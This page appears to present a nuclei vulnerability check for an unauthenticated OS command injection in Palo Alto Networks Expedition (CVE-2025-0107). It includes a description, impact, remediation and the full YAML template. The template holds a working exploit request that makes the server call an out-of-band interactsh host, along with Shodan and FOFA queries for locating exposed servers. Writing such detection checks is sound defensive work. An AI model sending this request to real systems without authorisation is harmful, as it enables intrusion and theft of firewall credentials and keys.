Palo Alto Networks Expedition - OS Command Injection

criticalseverity

9.8CVSS score

78.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

An OS command injection vulnerability in Palo Alto Networks Expedition enables an unauthenticated attacker to run arbitrary OS commands as the www-data user in Expedition, which results in the disclosure of usernames, cleartext passwords, device configurations, and device API keys for firewalls running PAN-OS software.

Impact

Unauthenticated attackers can execute arbitrary OS commands on Palo Alto Networks Expedition servers, leading to disclosure of sensitive firewall credentials, configurations, and API keys that could compromise all connected PAN-OS firewalls.

Fix

Upgrade to the latest patched version of Palo Alto Networks Expedition as specified in the vendor security advisory.

How to confirm it

Send: GET /API/regionsDiscovery.php?master=spark%3A%2F%2F{{interactsh-url}}:443&mask=26&project=your_project&devices=device1%2Cdevice2&mtserver=127.0.0.1%3A3306&mtus…
Positive when: contains "msg\":\"Started" and "\"success\":true" AND contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2025-0107 -u <target>

The full check

id: CVE-2025-0107

info:
  name: Palo Alto Networks Expedition - OS Command Injection
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    An OS command injection vulnerability in Palo Alto Networks Expedition enables an unauthenticated attacker to run arbitrary OS commands as the www-data user in Expedition, which results in the disclosure of usernames, cleartext passwords, device configurations, and device API keys for firewalls running PAN-OS software.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands on Palo Alto Networks Expedition servers, leading to disclosure of sensitive firewall credentials, configurations, and API keys that could compromise all connected PAN-OS firewalls.
  remediation: |
    Upgrade to the latest patched version of Palo Alto Networks Expedition as specified in the vendor security advisory.
  reference:
    - https://security.paloaltonetworks.com/PAN-SA-2025-0001
    - https://ssd-disclosure.com/ssd-advisory-palo-alto-expedition-rce-regionsdiscovery/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-0107
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    epss-score: 0.78416
    epss-percentile: 0.99587
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Expedition"
    fofa-query: title=="Expedition Project"
  tags: cve,cve2025,rce,paloalto,expedition,vkev,vuln

http:
  - raw:
      - |
        GET /API/regionsDiscovery.php?master=spark%3A%2F%2F{{interactsh-url}}:443&mask=26&project=your_project&devices=device1%2Cdevice2&mtserver=127.0.0.1%3A3306&mtuser=root&mtpassword=paloalto&task-id=1193&mode=pre-analysis&regions=&parquetPath=%2Ftmp&timezone=Europe%2FHelsinki&mlserver=127.0.0.1&debug=false&initDate=2023-01-01&endDate=2023-01-31 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'msg":"Started'
          - '"success":true'
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "dns"

References

Use this check only on systems you are authorised to test. Where the data comes from